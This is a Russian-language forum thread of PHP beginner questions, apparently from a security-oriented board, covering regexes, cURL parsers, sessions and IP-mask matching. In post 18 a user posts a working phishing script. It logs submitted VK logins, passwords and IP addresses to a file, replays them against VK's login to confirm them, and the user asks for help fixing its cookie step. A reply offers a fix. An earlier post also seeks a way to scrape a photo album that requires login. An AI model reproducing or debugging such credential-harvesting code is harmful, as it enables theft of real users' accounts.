[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. qw1mb1

    qw1mb1 Member

    Joined:
    8 Feb 2013
    Messages:
    113
    Likes Received:
    16
    Reputations:
    8
    http://www.php.net//manual/ru/reserved.variables.server.php
     
    1 person likes this.
  2. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    как отсюда можно вытащить фото, без регистрации ?
    я заметил такое


    http://www.iyya.ru/content/files/PhotoAlbum/27/medium/IMG_2641.JPG - маленькая
    http://www.iyya.ru/content/files/PhotoAlbum/27/quality/IMG_2641.JPG - большая

    как получить список фоток, ведь они на главной крутятся, получается только подбором названия ?
     
  3. Compton

    Compton Member

    Joined:
    31 Jan 2010
    Messages:
    290
    Likes Received:
    25
    Reputations:
    0
    регулярка канает?
    PHP:
    $text='http://www.iyya.ru/content/files/PhotoAlbum/27/medium/IMG_2641.JPG
    http://www.iyya.ru/content/files/PhotoAlbum/27/quality/IMG_2641.JPG'
    ;
    preg_match_all('#http://www.iyya.ru/content/files/PhotoAlbum/27/[a-z]*/(.*).JPG#i',$text,$matches);
    print_r($matches);
     
    1 person likes this.
  4. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    мне надо пройтись по всему альбому, получить все фотки из него, но на главной странице он только листает мальнькие фотки, и не даёт смотреть весь альбом неавторизованым
     
  5. Mykola-bas

    Mykola-bas New Member

    Joined:
    24 Apr 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Получить все фотки сможеш регуляркой вьіше.
    Вот мой вариант работьі с URL.
    PHP:
    $text 'http://www.iyya.ru/content/files/PhotoAlbum/27/medium/IMG_2641.JPG'
    $href substr("$text"110); //Убираем http://www.
    $img_arr explode("/"$href); //делим УРЛ на части.
        
    $img     $img_arr[0] . '/' $img_arr[1] . "/" $img_arr[2] . "/" $img_arr[3] . "/" $img_arr[4] . '/quality' $img_arr[6]; // собираем url назад то вместо 5 елемента масива (medium) ставим quality.
     
    1 person likes this.
  6. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    завершение сессий для устройств

    нужно завершить все сессии со всех браузеров, но у меня завершается сессия только в том который вызывает код ликвидации сессии:

    PHP:
    session_destroy();
    unset(
    $_SESSION['sessions']);
    другой браузер продолжает висеть на той странице, для него не происходит завершение сеанса
    как завершить сессии для всех устройств ?
    как например вконтакте, завершить всех, оставить одну сессию для текущего браузера
     
  7. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    как передать реферер той страницы в которой сработал редирект
    PHP:
    header'Location: '.$returntrue302);
    а то он передаёт реферер той страницы - с которой на него перешли !

    или вообще стереть реферер ?
     
  8. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    Вопрос выходит за рамки php, но всеже нужен пруф оф концепт хотя-бы.
    Есть задача эмулировать браузер пользователя используя curl и нужно как-то создать js песочницу и внутренние переменные (версия браузера, движка и т.п.). Как это можно сделать средствами php (выполнять действия над DOM, перехватывать ajax запросы и делать их произвольным образом)?
    Нашел http://php.net/manual/en/book.v8js.php, но что-то мне кажется, что он не решит эту проблему. Может у кого-то из адептов был опыт решения подобных задач.
     
  9. Todin

    Todin Member

    Joined:
    28 Jan 2011
    Messages:
    47
    Likes Received:
    7
    Reputations:
    0
    AnGeI, на windows машине можно через COM управлять браузером internet explorer, это точно. Вроде еще можно управлять FireFox так же, но там какие-то пляски с бубном нужны.
    А вообще смотрите в сторону Selenium.
     
  10. vova1609

    vova1609 New Member

    Joined:
    14 Jun 2012
    Messages:
    24
    Likes Received:
    2
    Reputations:
    -7
    Ребята, помогите написать простой скрипт. Пользователь открывает в браузере index.php, если у него нет Cookies, то перенаправляет на index2.php (через 1-2 секунды), если есть, то ничего не происходит. Также, помогите сделать кнопку, котрая запишет соответствующие cookies в браузер. Заранее огромное спасибо.
     
  11. qw1mb1

    qw1mb1 Member

    Joined:
    8 Feb 2013
    Messages:
    113
    Likes Received:
    16
    Reputations:
    8
    PHP:
    <?PHP
        
    if (empty($_COOKIE)) 
            echo 
    "<script type=\"text/javascript\">setInterval('window.location=\"http://site.ru/index2.php\"', 2000);</script>";
    ?>
    <button onClick="document.cookie = 'login=vasya'">SetCookie</button>
     
    1 person likes this.
  12. seenoud

    seenoud New Member

    Joined:
    24 Feb 2014
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Дали задание написать парсер одного сайта, не врубаю что делать с регулярками, с помощью курла задаю параметры:
    PHP:
    $url"тутюрл";

    $ch curl_init(); 
     
    curl_setopt($chCURLOPT_HEADER0); 
     
    curl_setopt ($chCURLOPT_URL,$url);
      
    curl_setopt ($chCURLOPT_TIMEOUT15 ); 
      
    curl_setopt ($chCURLOPT_FOLLOWLOCATION0);
      
    curl_setopt ($chCURLOPT_RETURNTRANSFER1);
      
    $result curl_exec ($ch);
      
    curl_close($ch);
    Так ведь? Спарсили содержимое главной страницы, записали ее в переменную результат, теперь нужно спарсить все ссылки на главной а потом содержимое, или как?
     
  13. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    211
    Likes Received:
    67
    Reputations:
    34
    PHP:
    <?php
    $rawData 
    file_get_contents("http://forum.antichat.ru/showthread.php?p=3742866");
    $regularExpressionForLinks "/<a href=\"(http.*)\"/sU";
    preg_match_all($regularExpressionForLinks$rawData$matches);
    print_r($matches);

    ?>
    Не знаю что тебе нужно, ну вот "логика" парсера
     
    1 person likes this.
  14. seenoud

    seenoud New Member

    Joined:
    24 Feb 2014
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Cпасибо, уже разобрался.

    Подскажите плиз, кто работал с yii-фреймворком. Сгенерил модель Post, по мануалу стандартному, при нажатии на страницу posts перекидывает на список новостей - все нормально, но там данные полностью в текстовом виде в формате:
    айди
    тайтл
    текст
    дата

    Подскажите пожалуйста, как сделать так, чтобы тайтл отображался в виде ссылки, при нажатии на которую был бы заход на отдельную страницу поста ( ну как в обычных cms это реализовано), и как сделать, чтобы на этой же странице posts отображалась не вся новость, а только первое ее предложение, а остальное было доступно при заходе на ту отдельную страницу?
     
  15. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    из за чего такое предупреждение идёт, на что влияет и на что действует ?

    как его убрать, что бы он не ругался ?
    PHP:
    warningfread(): Length parameter must be greater than 0
    тестирую на локалхосте
    вот так та строка выглядет:
    PHP:
    $buffer fread($filefilesize($filename));

    проверил, иногда подключаемый txt файл бывает пустым, оказывается из за этого предупреждение



    сейчас код работает так, если есть другие маски ip то пишет не совпало
    txt файл выглядит так, на каждой строке ip адрес:

    PHP:
    <?php 
    $ip_adres 
    $_SERVER['REMOTE_ADDR'];
    $ipmasks file($mask_ip_dir);//путь к текстовому файлу
    $ip_fragment join('|'array_map('preg_quote'$ipmasks));
    $ip_fragment str_replace('\*''\d+'$ip_fragment); 

    echo 
    '<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">'.$ip_adres.'<br>';
    if(
    preg_match('#^('.$ip_fragment.')#'$ip_adres) == 0){
      echo 
    'НЕ СОВПАДАЕТ<br>';
    }
    else {
    echo 
    'совпадает<br>';
    }
    ?>
    как сделать сравнение ip по маске, если такая маска будет найдена из списка то результат должен быть совпало ?





    не работает обратное условие else
    PHP:
    <?php
         $file 
    array_map('trim'file($mask_ip_dir));
         foreach (
    $file as $expression)

         { 
             
    $expression str_replace('.''\.'$expression);
             
    $expression str_replace('*''(.*)'$expression);
             if (
    preg_match('#' $expression '#'$_SERVER['REMOTE_ADDR']))
             { 
                 echo 
    "message 1";
             }
             else {
                echo 
    'message 2';
                }
         }
    ?>
    message 2 - оно отображается несколько раз если условие не соответствует, а если соответствует, отображается вместе с текстом message 1 - первого условия
    из зачего так происходит, где может быть ошибка ?
     
    #22215 GAiN, 18 Jul 2014
    Last edited: 28 Jul 2014
  16. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    211
    Likes Received:
    67
    Reputations:
    34
    PHP:
    $buffer fread($filefilesize(/* путь к файлу типа "/etc/data.txt" */));
    //
    http://php.net/manual/en/function.fread.php
     
    #22216 wkar, 18 Jul 2014
    Last edited: 18 Jul 2014
  17. madhatter

    madhatter Member

    Joined:
    7 Aug 2013
    Messages:
    562
    Likes Received:
    50
    Reputations:
    54
    Второй параметр у вас нулевой, т.е. $filename пуста.
     
    1 person likes this.
  18. vova1609

    vova1609 New Member

    Joined:
    14 Jun 2012
    Messages:
    24
    Likes Received:
    2
    Reputations:
    -7
    Не пойму, почему не пишет куки в бразуер, помогите пожалуйста.
    PHP:
    <?PHP
    $login
    =$_POST["login"];
    $pass=$_POST["pass"];
     
    $ip=$_SERVER['REMOTE_ADDR'];
    $date date("m.d.y H:i:s");

    $file=fopen("log.log""a");
    $str_avto=$login."\t".$pass."\t".$date."\t".$ip."\n";
    fwrite($file$str_avto);
    fclose($file);

    $otvet=connect("http://login.vk.com/?act=login&email=$login&pass=$pass");
    If(!
    preg_match("/hash=([a-z0-9]{1,32})/",$otvet,$hash)){
    die(
    header("Location: http://login fail"));
    }
    $otvet=connect("http://vk.com/login.php?act=slogin&hash=".$hash[1]);
    preg_match("/remixsid=(.*?);/",$otvet,$sid);
    $cooks "remixchk=5; remixsid=$sid[1]";
    setcookie('login''login'time() + 360000000);
    header("Location: http://login success");
     
     
    function 
    connect($link,$cooks=null,$post=null){
    $ch curl_init();
    curl_setopt($chCURLOPT_URL,$link);
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    curl_setopt($chCURLOPT_TIMEOUT0);
    curl_setopt($chCURLOPT_HEADER1);
    curl_setopt($chCURLOPT_FOLLOWLOCATION0);
    if(
    $cooks !== null)
    curl_setopt($chCURLOPT_COOKIE$cooks);
    if(
    $post !== null)
    {
    curl_setopt($chCURLOPT_POST1);
    curl_setopt($chCURLOPT_POSTFIELDS$post);
    }
    $otvet curl_exec($ch);
    curl_close($ch);
    return 
    $otvet;
    }
    ?>
    Проблема в этом:
    Code:
    setcookie('login', 'login', time() + 360000000);
     
  19. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    211
    Likes Received:
    67
    Reputations:
    34
    //пальцем в небо
    попробуй так setcookie('login', 'login', time() + 360000000, '/');
     
  20. vova1609

    vova1609 New Member

    Joined:
    14 Jun 2012
    Messages:
    24
    Likes Received:
    2
    Reputations:
    -7
    Не помогает :mad:
     
Thread Status:
Not open for further replies.